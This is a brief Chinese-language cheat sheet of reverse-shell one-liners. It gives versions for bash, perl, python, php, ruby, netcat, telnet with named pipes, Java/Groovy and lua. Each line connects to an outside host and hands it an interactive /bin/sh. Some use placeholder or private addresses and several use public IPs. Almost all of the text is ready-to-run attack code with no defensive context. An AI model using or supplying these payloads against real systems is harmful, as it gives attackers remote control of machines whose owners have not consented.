反弹的各种姿势

bash版本：

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

注意这个是由解析shell的bash完成，所以某些情况下不支持

perl版本:

perl-e'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python版本:

python-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php版本：

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本：

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc版本：

nc -e /bin/sh 223.8.200.234 1234

nc不使用-e：

mknod /tmp/backpipe p

/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

mknod:

mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

java版本：

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/202.103.243.122/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()

lua版本：

lua-e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
